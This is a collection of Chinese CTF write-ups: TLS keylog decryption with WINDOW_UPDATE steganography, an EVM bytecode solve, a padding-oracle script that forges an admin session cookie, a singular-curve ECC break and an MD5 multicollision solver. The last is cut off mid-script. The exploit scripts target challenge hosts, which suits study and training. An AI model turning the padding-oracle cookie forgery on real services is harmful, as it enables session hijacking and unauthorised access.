1 2 3 4 5 SERVER_HANDSHAKE_TRAFFIC_SECRET 89bd4244c39eb3bdd46e130257d9e716ea6340058a160a22953d76d3e3ac8340 608719cfa1cf730b37a913a96fec9e1b7b580ffc857108e25ce5803d566ec3375d0642cdb96458853204737c22f252e6 EXPORTER_SECRET 89bd4244c39eb3bdd46e130257d9e716ea6340058a160a22953d76d3e3ac8340 ae9ec144508fd9f37bc6be3649817938625ff6f80a6fc4cac506c6ae2c6db5b1d654ce8b19ff9c1eb230369a1dbe487d SERVER_TRAFFIC_SECRET_0 89bd4244c39eb3bdd46e130257d9e716ea6340058a160a22953d76d3e3ac8340 02649dd12ec39a32814e3fa34df67dd095166000046c17a2f28a22d598eb6666e97ae30fc28e8fc670ccb33920a1d620 CLIENT_HANDSHAKE_TRAFFIC_SECRET 89bd4244c39eb3bdd46e130257d9e716ea6340058a160a22953d76d3e3ac8340 ab6a262329e179bdd081aba02280926d38100fcf9e10ed83d85bfe4c5e4ad1e06e93ca8747fbca518971a437dcf294d6 CLIENT_TRAFFIC_SECRET_0 89bd4244c39eb3bdd46e130257d9e716ea6340058a160a22953d76d3e3ac8340 1f1bdd57a5c74aafd69358afe5b7ce10a99163170aafd663d30aafb3397c1a56a3b7cf0aef39c6c601f3e0107ab152de
wireshakez中点击编辑-首选项-protocols-tsl-浏览添加解密文本
3、分析流量可以发现出现大量重复65536和65537,推测可能是0/1隐写,提取所有数据后可得到字符串:Y2NkZDMwNzgyYjAzZjE2M2M3NjQ5YjlmZjU5NTkxMzU=
很明显是base加密方式,解密后得到密码:ccdd30782b03f163c7649b9ff5959135
4、解开flag.png文件
扫码没结果,查看图片详情发现
即((i*j)%2 + (i+j)%3) == 0
恢复时要对数据区异或: custom_mask XOR standard_mask0
最后修正二维码然后解码即可获得flag{Y0U_F0UND_Th3_fl48!!_922a24f585ac8e4bacd7}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 import osimport structimport timeimport base64import zipfilefrom pathlib import Pathimport cv2import numpy as npfrom PIL import Imagefrom cryptography.hazmat.primitives import hashesfrom cryptography.hazmat.primitives.kdf.hkdf import HKDFExpandfrom cryptography.hazmat.primitives.ciphers.aead import AESGCMfrom hyperframe.frame import Frame, WindowUpdateFrameMAX_SECONDS = 60 START_TIME = time.monotonic() def check_timeout (): if time.monotonic() - START_TIME > MAX_SECONDS: raise TimeoutError('运行超时,脚本已主动退出' ) def hkdf_expand_label (secret: bytes , label: str , context: bytes , length: int ): full_label = b'tls13 ' + label.encode() info = struct.pack('!H' , length) + bytes ([len (full_label)]) + full_label + bytes ([len (context)]) + context return HKDFExpand(algorithm=hashes.SHA384(), length=length, info=info).derive(secret) def derive_key_iv (secret: bytes ): return hkdf_expand_label(secret, 'key' , b'' , 32 ), hkdf_expand_label(secret, 'iv' , b'' , 12 ) def xor_nonce (iv: bytes , seq: int ): seq_bytes = seq.to_bytes(12 , 'big' ) return bytes (a ^ b for a, b in zip (iv, seq_bytes)) def parse_keylog (path: Path ): out = {} for line in path.read_text(encoding='utf-8' , errors='ignore' ).splitlines(): line = line.strip() if not line or line.startswith('#' ): continue name, client_random, secret = line.split() out[name] = bytes .fromhex(secret) return out def parse_epb_packets (data: bytes ): off = 0 packets = [] while off + 12 <= len (data): check_timeout() btype, blen = struct.unpack_from('<II' , data, off) if blen < 12 or off + blen > len (data): break if btype == 0x00000006 : caplen = struct.unpack_from('<I' , data, off + 20 )[0 ] pkt = data[off + 28 : off + 28 + caplen] packets.append(pkt) off += blen return packets def parse_ipv4_tcp (pkt: bytes ): if len (pkt) < 14 or pkt[12 :14 ] != b'\x08\x00' : return None ip = pkt[14 :] if len (ip) < 20 or (ip[0 ] >> 4 ) != 4 : return None ihl = (ip[0 ] & 0x0F ) * 4 if ip[9 ] != 6 or len (ip) < ihl + 20 : return None src = '.' .join(map (str , ip[12 :16 ])) dst = '.' .join(map (str , ip[16 :20 ])) total_len = struct.unpack_from('!H' , ip, 2 )[0 ] tcp = ip[ihl:total_len] sport, dport, seq, ack = struct.unpack_from('!HHII' , tcp, 0 ) data_off = ((tcp[12 ] >> 4 ) & 0x0F ) * 4 flags = tcp[13 ] payload = tcp[data_off:] return src, sport, dst, dport, seq, ack, flags, payload def assemble_c2s_stream (packets ): client = ('192.168.188.228' , 49897 ) server = ('192.168.188.229' , 4433 ) segs = [] for idx, pkt in enumerate (packets): if idx % 500 == 0 : check_timeout() parsed = parse_ipv4_tcp(pkt) if not parsed: continue src, sport, dst, dport, seq, ack, flags, payload = parsed if (src, sport) == client and (dst, dport) == server and payload: segs.append((seq, payload)) base_seq = min (seq for seq, _ in segs) merged = {} for seq, payload in segs: off = seq - base_seq for i, b in enumerate (payload): merged.setdefault(off + i, b) out = bytearray () i = 0 while i in merged: out.append(merged[i]) i += 1 return bytes (out) def split_tls_records (stream: bytes ): out = [] i = 0 while i + 5 <= len (stream): check_timeout() rtype = stream[i] ver = stream[i + 1 :i + 3 ] rlen = struct.unpack('!H' , stream[i + 3 :i + 5 ])[0 ] if i + 5 + rlen > len (stream): break out.append((rtype, ver, stream[i + 5 :i + 5 + rlen])) i += 5 + rlen return out def decrypt_c2s (records, keylog ): hs_key, hs_iv = derive_key_iv(keylog['CLIENT_HANDSHAKE_TRAFFIC_SECRET' ]) app_key, app_iv = derive_key_iv(keylog['CLIENT_TRAFFIC_SECRET_0' ]) hs_seq = 0 app_seq = 0 used_hs = False plain_chunks = [] for rtype, ver, body in records: check_timeout() if rtype != 23 : continue if not used_hs: key, iv, seq = hs_key, hs_iv, hs_seq else : key, iv, seq = app_key, app_iv, app_seq aad = bytes ([rtype]) + ver + struct.pack('!H' , len (body)) plain = AESGCM(key).decrypt(xor_nonce(iv, seq), body, aad) inner_type = plain[-1 ] plain_chunks.append((inner_type, plain[:-1 ])) if not used_hs: hs_seq += 1 used_hs = True else : app_seq += 1 return plain_chunks def parse_http2_frames (plain_chunks ): data = b'' .join(body for inner_type, body in plain_chunks if inner_type == 23 ) preface = b'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n' if data.startswith(preface): data = data[len (preface):] frames = [] pos = 0 while pos + 9 <= len (data): check_timeout() flen = int .from_bytes(data[pos:pos + 3 ], 'big' ) if pos + 9 + flen > len (data): break raw = data[pos:pos + 9 + flen] frame, frame_len = Frame.parse_frame_header(memoryview (raw[:9 ])) frame.parse_body(memoryview (raw[9 :9 + frame_len])) frames.append(frame) pos += 9 + flen return frames def carve_tail_zip (pcap_path: Path, zip_path: Path ): data = pcap_path.read_bytes() pos = data.find(b'PK\x03\x04' ) zip_path.write_bytes(data[pos:]) return pos def get_zip_password_from_traffic (pcap_path: Path, keylog_path: Path ): keylog = parse_keylog(keylog_path) packets = parse_epb_packets(pcap_path.read_bytes()) c2s_stream = assemble_c2s_stream(packets) tls_records = split_tls_records(c2s_stream) plain_chunks = decrypt_c2s(tls_records, keylog) frames = parse_http2_frames(plain_chunks) bits = [] for frame in frames: if isinstance (frame, WindowUpdateFrame): if frame.window_increment == 65536 : bits.append('0' ) elif frame.window_increment == 65537 : bits.append('1' ) b64_text = '' .join(chr (int ('' .join(bits[i:i + 8 ]), 2 )) for i in range (0 , len (bits), 8 )) password = base64.b64decode(b64_text).decode() return password def function_modules (version=5 ): n = 17 + 4 * version fm = np.zeros((n, n), dtype=bool ) for r, c in [(0 , 0 ), (0 , n - 7 ), (n - 7 , 0 )]: fm[max (0 , r - 1 ):min (n, r + 8 ), max (0 , c - 1 ):min (n, c + 8 )] = True fm[6 , :] = True fm[:, 6 ] = True pos = [6 , 30 ] for r in pos: for c in pos: if (r, c) in [(6 , 6 ), (6 , n - 7 ), (n - 7 , 6 )]: continue fm[r - 2 :r + 3 , c - 2 :c + 3 ] = True fm[4 * version + 9 , 8 ] = True for i in range (6 ): fm[8 , i] = True fm[i, 8 ] = True fm[8 , 7 ] = fm[8 , 8 ] = fm[7 , 8 ] = True for i in range (8 ): fm[8 , n - 1 - i] = True for i in range (7 ): fm[n - 1 - i, 8 ] = True return fm def std_mask0 (i, j ): return (i + j) % 2 == 0 def custom_mask (i, j ): return ((i * j) % 2 + (i + j) % 3 ) == 0 def decode_flag_from_png (png_path: Path ): img = Image.open (png_path) arr = np.array(img.convert('1' ), dtype=np.uint8) ys, xs = np.where(arr == 0 ) x0, y0, x1, y1 = xs.min (), ys.min (), xs.max (), ys.max () qr = (arr[y0 + 5 :y1 + 1 :10 , x0 + 5 :x1 + 1 :10 ] == 0 ).astype(np.uint8) fm = function_modules(5 ) fixed = qr.copy() for i in range (37 ): for j in range (37 ): if fm[i, j]: continue if custom_mask(i, j) ^ std_mask0(i, j): fixed[i, j] ^= 1 out = np.ones((450 , 450 ), dtype=np.uint8) * 255 for i in range (37 ): for j in range (37 ): if fixed[i, j]: out[(i + 4 ) * 10 :(i + 5 ) * 10 , (j + 4 ) * 10 :(j + 5 ) * 10 ] = 0 text, points, _ = cv2.QRCodeDetector().detectAndDecode(out) return text def main (): base = Path('.' ) pcap_path = base / 'attachment.pcapng' carved_zip = base / 'carved.zip' extract_dir = base / 'extracted' final_dir = base / 'extracted_final' extract_dir.mkdir(exist_ok=True ) final_dir.mkdir(exist_ok=True ) carve_tail_zip(pcap_path, carved_zip) with zipfile.ZipFile(carved_zip) as zf: zf.extract('so_ez' , path=extract_dir) password = get_zip_password_from_traffic(pcap_path, extract_dir / 'so_ez' ) with zipfile.ZipFile(carved_zip) as zf: zf.extractall(path=final_dir, pwd=password.encode()) flag = decode_flag_from_png(final_dir / 'flag.png' ) print (flag) if name == 'main' : main()
最终 flag flag{Y0U_F0UND_Th3_fl48!!_922a24f585ac8e4bacd7}
MISC_Rewind_抄作业 题目分析 本题页面几乎没给源码,只给了三样东西:
题目站点
RPC Endpoint
玩家账户地址和私钥
解题过程 关键分析
本题页面几乎没给源码,只给了这几样东西:
页面上源码区直接显示 No Source,所以正常思路不是审 Solidity 源码,而是:
先从页面抄下当前环境参数
连到链上读取目标合约 runtime bytecode
从 bytecode 里恢复函数分发和核心逻辑
构造最短交易把题目打通
本次复现使用的页面参数如下:
1 2 3 4 5 目标站点: http://80-45867405-2e39-48f3-b439-1e68f364cfcf.challenge.ctfplus.cn/ RPC: http://80-45867405-2e39-48f3-b439-1e68f364cfcf.challenge.ctfplus.cn/rpc Target: 0x75537828f2ce51be7289709686A69CbFDbB714F1 Address: 0x1aaD4606f85829393B05b380cDFd5dBb12f5d7ED Private Key: 0x3deea484456fb2fed6bcb19a33adf13b0bdda48cb7265c8ed9146535c1ae7b8a
信息收集
先连 RPC,确认链和账户状态:
1 2 3 4 5 6 7 8 9 10 from web3 import Web3RPC_URL = "http://80-39857835-c5ff-403a-a7e1-4d87d17931fe.challenge.ctfplus.cn/rpc" YOUR_ADDR = "0x090134Baa6Abb3c747302C49571eb7935248e830" w3 = Web3(Web3.HTTPProvider(RPC_URL)) print ("connected =" , w3.is_connected())print ("chain_id =" , w3.eth.chain_id)print ("balance =" , w3.from_wei(w3.eth.get_balance(YOUR_ADDR), "ether" ))print ("nonce =" , w3.eth.get_transaction_count(YOUR_ADDR))
实际回显:
1 2 3 4 connected = True chain_ id = 31337 balance = 1 nonce = 0
说明这是本地私链环境,页面发的私钥就是题目专用测试账户,直接拿来发交易即可。
字节码审计
因为没有源码,所以直接读 runtime code:
1 2 3 4 5 6 7 8 from web3 import Web3RPC_URL = "http://80-39857835-c5ff-403a-a7e1-4d87d17931fe.challenge.ctfplus.cn/rpc" TARGET = "0x75537828f2ce51be7289709686A69CbFDbB714F1" w3 = Web3(Web3.HTTPProvider(RPC_URL)) code = w3.eth.get_code(Web3.to_checksum_address(TARGET)).hex () print (code)
从函数分发表里可以直接看出两个选择器:
对应的 runtime 分发片段如下:
1 2 3 4 5 6 7 8 9 001f: PUSH4 0x5e36bdc6 0024: EQ 0025: PUSH2 0x0038 0028: JUMPI 0029: DUP1 002a: PUSH4 0xaab2fcd2 002f: EQ 0030: PUSH2 0x0068 0033: JUMPI
0x5e36bdc6** 是一个 address -> bool getter**
这个分支先走 32 字节参数解析,然后进入:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 0084: JUMPDEST 0085: PUSH0 0086: PUSH1 0x20 0088: MSTORE 0089: DUP1 008a: PUSH0 008b: MSTORE 008c: PUSH1 0x40 008e: PUSH0 008f: SHA3 0093: SLOAD ... 009d: AND 009e: DUP2 009f: JUMP
这就是典型的 mapping(address => bool) 读取逻辑:
把传入地址和槽位拼起来
keccak256(key . slot) 定位存储槽
SLOAD 取值
返回最低字节布尔值
所以它不是初始化函数,而是一个状态查询 getter。
实际验证也能说明这一点:
1 2 3 4 5 6 7 8 9 10 from web3 import Web3RPC_URL = "http://80-39857835-c5ff-403a-a7e1-4d87d17931fe.challenge.ctfplus.cn/rpc" TARGET = "0x75537828f2ce51be7289709686A69CbFDbB714F1" YOUR_ADDR = "0x090134Baa6Abb3c747302C49571eb7935248e830" w3 = Web3(Web3.HTTPProvider(RPC_URL)) data = "0x5e36bdc6" + YOUR_ADDR.lower().replace("0x" , "" ).rjust(64 , "0" ) ret = w3.eth.call({"to" : TARGET, "data" : data}) print (ret.hex ())
打通题目前返回 0x00...00,打通后返回 0x00...01说明0xaab2fcd2 是真正的 solve 入口,这个分支会先解析 96 字节 calldata,也就是 3 个 uint256 参数:
1 2 3 4 5 6 7 8 0235: JUMPDEST 0238: PUSH0 0239: PUSH1 0x60 ... 024d: PUSH0 0259: ... 026a: ... 027b: ...
内部会跳到 0x02b2,这里能看出一个很关键的模式:
1 2 3 4 5 6 7 8 9 10 11 12 02ca: DUP3 02cb: DUP3 02cc: MUL ... 02d8: DUP3 02d9: DUP3 02da: DIV 02db: DUP5 02dc: EQ 02dd: DUP4 02de: ISZERO 02df: OR
这是 Solidity 编译器常见的“带溢出校验的乘法”结构,含义可以理解成:
1 2 tmp = a * b; require(b == 0 || tmp / b == a);
随后返回外层,外层再做一次 EQ 判断,不满足就 revert("wrong"):
1 2 3 4 5 6 00ad: JUMPDEST 00ae: EQ 00af: PUSH2 0x00ed 00b2: JUMPI ... 0304: PUSH32 0x77726f6e670000...
结合动态测试,可以把这个条件还原成前两个参数相乘,结果必须等于第三个参数
也就是类似:
1 2 require(x * y == z, "wrong"); solved[msg.sender] = true;
既然条件是:
那么最简单的一组满足值就是:
所以根本不需要爆破,也不需要复杂构造,直接传三个零即可。
动态测试结果也和这个结论一致:
1 2 3 4 (0, 0, 0) -> success (0, 0, 1) -> revert("wrong") (1, 0, 0) -> success (1, 1, 1) -> success
构造 calldata:
1 0xaab2fcd2 + 3 个 32 字节 0
也就是:
1 2 3 4 0xaab2fcd2 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000
发送后交易成功:
1 2 3 solve status = 1 gasUsed = 44711 tx = ce581acd47bccb39263e062ddc06829a4d54b0b299bf78e5a0502a4203045d78
**点击 Check Solution 或调用 **/api/solve
题目网页上的 Check Solution 本质上就是请求:
实测返回:
1 { "flag" : "xmctf{8d1d4ce9-8a32-4b24-a628-3cb55ea1e67f}" , "solved" : true }
关键代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from web3 import Web3import requestsBASE_URL = "http://80-39857835-c5ff-403a-a7e1-4d87d17931fe.challenge.ctfplus.cn" RPC_URL = BASE_URL + "/rpc" TARGET = "0x75537828f2ce51be7289709686A69CbFDbB714F1" YOUR_ADDR = "0x090134Baa6Abb3c747302C49571eb7935248e830" PRIVATE_KEY = "0xe7d5037aab67a28bf1f9d85376663190fe2093a503dabbffcb61e7a908729575" w3 = Web3(Web3.HTTPProvider(RPC_URL)) print (f"connected={w3.is_connected()} chain={w3.eth.chain_id} balance={w3.from_wei(w3.eth.get_balance(YOUR_ADDR), 'ether' )} nonce={w3.eth.get_transaction_count(YOUR_ADDR)} " )solve_data = "0xaab2fcd2" + "00" * 96 tx = { "to" : TARGET, "data" : solve_data, "gas" : 300000 , "gasPrice" : w3.eth.gas_price, "nonce" : w3.eth.get_transaction_count(YOUR_ADDR), "chainId" : w3.eth.chain_id, "from" : YOUR_ADDR, } signed = w3.eth.account.sign_transaction(tx, PRIVATE_KEY) tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction) receipt = w3.eth.wait_for_transaction_receipt(tx_hash, timeout=60 ) print ("tx_hash =" , tx_hash.hex ())print ("status =" , receipt.status)print ("gasUsed =" , receipt.gasUsed)resp = requests.post(BASE_URL + "/api/solve" , json={}, timeout=20 ) print (resp.text)
最终 flag xmctf{8d1d4ce9-8a32-4b24-a628-3cb55ea1e67f}
CRYPTO_Bewater_ez_login 题目分析 本题本质上是一个 padding oracle。固定第二个密文块为全零后,先恢复中间值 M,再构造新的 IV,使解密结果变成 user=admin,即可伪造管理员会话。
解题过程 关键分析
本题本质上是一个 padding oracle。固定第二个密文块为全零后,先恢复中间值 M,再构造新的 IV,使解密结果变成 user=admin,即可伪造管理员会话。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import requestsimport sysURL = 'http://nc1.ctfplus.cn:34992/' C = bytes ([0 ] * 16 ) def query_oracle (iv ): """发送IV,判断填充是否正确。返回True表示填充正确(非500),False表示错误(500或异常)。""" cookie = iv.hex () + C.hex () try : r = requests.get(URL, cookies={'session' : cookie}, allow_redirects=False , timeout=5 ) return r.status_code != 500 except requests.RequestException: return False M = bytearray (16 ) print ('[*] Starting padding oracle attack to recover intermediate state...' )for i in range (16 ): pos = 15 - i padding = i + 1 print (f'[+] Recovering byte at position {pos} (padding = {padding} )' ) iv = bytearray (16 ) for j in range (16 ): if j > pos: iv[j] = M[j] ^ padding found = False for guess in range (256 ): iv[pos] = guess if query_oracle(iv): M[pos] = iv[pos] ^ padding print (f' -> Found: M[{pos} ] = 0x{M[pos]:02x} ' ) found = True break if not found: print ('[-] Attack failed! Could not recover byte.' ) sys.exit(1 ) print ('[+] Intermediate state recovered successfully.' )P = b'user=admin' + bytes ([6 ] * 6 ) IV_new = bytes ([M[i] ^ P[i] for i in range (16 )]) admin_cookie = IV_new.hex () + C.hex () print (f'[+] Constructed admin cookie: {admin_cookie} ' )r = requests.get(URL, cookies={'session' : admin_cookie}) print (r.text)
最终 flag xmctf{29a04dc6-e01a-4a14-b260-0b60979d203c}
CRYPTO_Bewater_ECC 题目分析 这题表面上是 ECC 离散对数,但真正的突破口并不在常规 ECDLP,而在于这条“椭圆曲线”本身就是坏的。正常椭圆曲线必须满足判别式不为 0;一旦判别式为 0,曲线就会退化成奇异曲线,原本困难的 ECDLP 也会随之降维,甚至直接变成线性方程。
解题过程 先把奇异点平移到原点。题目参数下奇异点可以直接写成:
1 2 xs = -b / 3 mod p ys = -c / 2 mod p
对任意点 Q = (x, y),做平移:
平移后得到尖点曲线的标准退化形式。对平移后的点定义映射:
其中 Q' = (X, Y)。
这时曲线上的点加法会对应到有限域上的普通加法,也就是:
1 phi(A + B) = phi(A) + phi(B) mod p
题目给的是:
套用上面的同构映射:
1 phi(P) = m * phi(G) mod p
于是直接得到:
1 m = phi(P) / phi(G) mod p
最后把 m 转成字节串即可得到 flag。
下面这版代码换了一种更紧凑的写法,核心就是“先平移,再映射,再解一次方程”。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 from Crypto.Util.number import long_to_bytesp = 9259018534502783714631247560818133078409930397939705162361230465031580254504264713899169170790687716589100652406132800533397486109926387016562663961524649 b = 6235467631650349040636525320446729529985562949423449382969614887116983248527693872546808737512375916974084741892428681798937790855872528526403738040908493 c = 4165903654767429195543540819098180314477702137507994424192636596518008877139978822038616746899053449640020812062736993008962585578921635697413459959685760 G = (1244884551970947614719458919805713649754289814760243366205012699871413235954279930743612403791919112394457579170253990713250052822262255880036254772609156 , 4579639528751113977115209571728128585569082149696598770106934145500742785077382446292613925719404433141749168427443122707253164477493499731016883616496009 ) P = (9039120379228240875764080238389949393433230267005269099421166553853462484353350917730468887801035670710981414900285176863179650428412616144755102163764906 , 6266065680737729548475090556806928225106996606788926050268440244885398464756877886842570309216095272026404453765198968208595242208306240371310555394416694 ) print ("[*] 步骤1: 计算奇异点坐标 (x0, y0)" )inv2 = pow (2 , p-2 , p) inv3 = pow (3 , p-2 , p) y0 = (-c * inv2) % p x0 = (-b * inv3) % p print (f" 奇异点: (x0, y0) = ({x0} , {y0} )" )print ("[*] 步骤2: 平移曲线(奇异点移至原点)" )def translate (pt ): """坐标平移: (x, y) -> (x - x0, y - y0) mod p""" return ((pt[0 ] - x0) % p, (pt[1 ] - y0) % p) G_prime = translate(G) P_prime = translate(P) print (f" G' = {G_prime} " )print (f" P' = {P_prime} " )print ("[*] 步骤3: 构建同构映射 φ (椭圆曲线群 → 加法群)" )def phi (pt_prime ): """ 映射规则: 对平移后点 (x', y'),计算 u = x' / y' mod p (等价于: t = y'/x', u = 1/t) """ x, y = pt_prime assert (y*y - x*x*x) % p == 0 , "平移后曲线方程验证失败!" return (x * pow (y, p-2 , p)) % p u_G = phi(G_prime) u_P = phi(P_prime) print (f" φ(G) = {u_G} " )print (f" φ(P) = {u_P} " )print ("[*] 步骤4: 求解线性方程 m = φ(P) * φ(G)^{-1} mod p" )m = (u_P * pow (u_G, p-2 , p)) % p print (f" 私钥 m = {m} " )print ("[*] 步骤5: 转换为可读 flag" )flag = long_to_bytes(m).decode() print (f"\n✅ 攻击成功! flag = {flag} " )
CRYPTO_SdTVdp_truck 题目分析 本题本质是一个基于 32 路状态压缩的多重碰撞构造题,关键是分层组织碰撞块并按交互要求喂入。
解题过程 题目代码
题目核心逻辑在:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from hashlib import md5 as md5sumfrom secret import flag_H = lambda m: md5sum(m).digest() S = set () for _ in range (10 ): A, B, C = (bytes .fromhex(input ('A > ' )), bytes .fromhex(input ('B > ' )), bytes .fromhex(input ('C > ' ))) ha, hb, hc = (_H(A), _H(B), _H(C)) assert ha == hb == hc D, E, F = (bytes .fromhex(input ('D > ' )), bytes .fromhex(input ('E > ' )), bytes .fromhex(input ('F > ' ))) hd, he, hf = (_H(ha + D), _H(hb + E), _H(hc + F)) assert hd == he == hf G, H, I = (bytes .fromhex(input ('G > ' )), bytes .fromhex(input ('H > ' )), bytes .fromhex(input ('I > ' ))) assert _H(hd + G) == _H(he + H) == _H(hf + I) cur = (A, B, C, D, E, F, G, H, I) assert len (set (cur)) == 9 assert not any ((x in S for x in cur)) S.update(cur) print (f'good: {flag} ' )
题目本质
本题不是在考普通单个 MD5 碰撞,而是在考:
更准确地说,是三层“前缀固定的多重碰撞”:
第一层要很多个不同的 A,满足 md5(A) 全相同
第二层要很多个不同的 D,满足 md5(h1 + D) 全相同
第三层要很多个不同的 G,满足 md5(h2 + G) 全相同
其中:
h1 = md5(A).digest()
h2 = md5(h1 + D).digest()
每轮要 3 个,一共 10 轮,所以每一层至少需要:
为了保险,最自然的做法就是做一个:
也就是 2^5 = 32 个同哈希消息。
32-way 的选择
因为每层总共要 30 个:
A/B/C:10 轮 * 3 = 30
D/E/F:10 轮 * 3 = 30
G/H/I:10 轮 * 3 = 30
而 fastcoll 一次只能给 2 个碰撞分支,所以最经典的扩展方式就是 Joux 多重碰撞:
做 1 次碰撞,得到 2 个消息
再做 1 次,变成 4 个
再做 1 次,变成 8 个
再做 1 次,变成 16 个
再做 1 次,变成 32 个
所以每层只要做 5 次 fastcoll 就够了。
Joux 多重碰撞适用的原因
关键点在于:
如果一批消息:
长度相同
MD5 相同
那么它们在 MD5 的内部状态上也是一致的。
于是只要对其中一个代表消息再跑一次 fastcoll,得到的新 collision suffix,实际上可以追加到所有分支上,仍然保持碰撞。
这就是 Joux 多重碰撞的核心。
第一层
直接在空前缀上做 5 轮碰撞,得到 32 个不同消息:
它们满足:
记这个公共 digest 为:
第二层
此时目标变成构造很多个不同 D,满足:
这里把 h1 当作 prefix,继续做 5 轮 fastcoll,得到:
它们满足:
记公共 digest 为:
第三层
同理,以 h2 为 prefix,再做 5 轮 fastcoll,得到:
满足:
交互怎么喂
拿到三组 32-way pool 之后,直接按 3 个一组切片:
第 1 轮:
A0 A1 A2
D0 D1 D2
G0 G1 G2
第 2 轮:
A3 A4 A5
D3 D4 D5
G3 G4 G5
……
第 10 轮:
A27 A28 A29
D27 D28 D29
G27 G28 G29
这样每轮 9 个互不相同,而且全局也不会复用。
解题脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 import argparseimport hashlibimport shutilimport socketimport subprocessimport tempfilefrom pathlib import PathDEFAULT_HOST = 'nc1.ctfplus.cn' DEFAULT_PORT = 49532 FASTCOLL_EXE = Path(shutil.which('fastcoll' ) or shutil.which('fastcoll.exe' ) or 'fastcoll.exe' ) def md5sum (buf: bytes ) -> bytes : return hashlib.md5(buf).digest() def invoke_fastcoll (prefix: bytes , fastcoll_exe: Path ): with tempfile.TemporaryDirectory() as td: td_path = Path(td) prefix_file = td_path / 'prefix.bin' out1 = td_path / 'out1.bin' out2 = td_path / 'out2.bin' prefix_file.write_bytes(prefix) subprocess.run([str (fastcoll_exe), '-q' , '-p' , str (prefix_file), '-o' , str (out1), str (out2)], check=True , stdout=subprocess.PIPE, stderr=subprocess.STDOUT) return (out1.read_bytes(), out2.read_bytes()) def build_pool (prefix: bytes , depth: int , fastcoll_exe: Path ): suffixes = [b'' ] representative = prefix for stage in range (depth): out1, out2 = invoke_fastcoll(representative, fastcoll_exe) add1 = out1[len (representative):] add2 = out2[len (representative):] next_suffixes = [] for current in suffixes: next_suffixes.append(current + add1) next_suffixes.append(current + add2) suffixes = next_suffixes representative = prefix + suffixes[0 ] print (f'[+] stage {stage + 1 } /{depth} for prefix len={len (prefix)} -> {len (suffixes)} collisions' ) return suffixes def ensure_level1 (pool ): digests = {md5sum(m) for m in pool} if len (digests) != 1 : raise RuntimeError('level1 pool is not a collision set' ) return next (iter (digests)) def ensure_prefixed (prefix: bytes , pool ): digests = {md5sum(prefix + m) for m in pool} if len (digests) != 1 : raise RuntimeError(f'pool for prefix {prefix.hex ()} is not a collision set' ) return next (iter (digests)) def read_until (conn: socket.socket, marker: bytes ) -> bytes : buf = b'' while marker not in buf: chunk = conn.recv(4096 ) if not chunk: break buf += chunk return buf def send_hex (conn: socket.socket, label: str , payload: bytes ): read_until(conn, f'{label} > ' .encode()) conn.sendall(payload.hex ().encode() + b'\n' ) def send_rounds (host: str , port: int , a_pool, d_pool, g_pool ): all_selected = [] with socket.create_connection((host, port), timeout=20 ) as conn: for rnd in range (10 ): ai = a_pool[3 * rnd:3 * rnd + 3 ] di = d_pool[3 * rnd:3 * rnd + 3 ] gi = g_pool[3 * rnd:3 * rnd + 3 ] cur = ai + di + gi if len (set (cur)) != 9 : raise RuntimeError(f'round {rnd} : duplicate payload inside round' ) if any ((x in all_selected for x in cur)): raise RuntimeError(f'round {rnd} : payload reused across rounds' ) all_selected.extend(cur) print (f'[+] sending round {rnd + 1 } /10' ) for label, payload in zip (['A' , 'B' , 'C' ], ai): send_hex(conn, label, payload) for label, payload in zip (['D' , 'E' , 'F' ], di): send_hex(conn, label, payload) for label, payload in zip (['G' , 'H' , 'I' ], gi): send_hex(conn, label, payload) response_text = b'' while True : chunk = conn.recv(4096 ) if not chunk: break response_text += chunk return response_text.decode(errors='replace' ) def build_cli (): arg_parser = argparse.ArgumentParser(description='Solve the truck MD5 multicollision challenge.' ) arg_parser.add_argument('--host' , default=DEFAULT_HOST) arg_parser.add_argument('--port' , type =int , default=DEFAULT_PORT) arg_parser.add_argument('--fastcoll' , default=str (FASTCOLL_EXE)) arg_parser.add_argument('--depth' , type =int , default=5 , help ='2^depth collisions per pool; depth 5 gives 32' ) return arg_parser.parse_args() def entrypoint (): cli_args = build_cli() fastcoll_exe = Path(cli_args.fastcoll) if not fastcoll_exe.exists(): raise FileNotFoundError(f'fastcoll not found: {fastcoll_exe} ' ) print ('[*] building A/B/C multicollision pool' ) a_pool = build_pool(b'' , cli_args.depth, fastcoll_exe) h1 = ensure_level1(a_pool) print (f'[+] A/B/C common md5 = {h1.hex ()} ' ) print 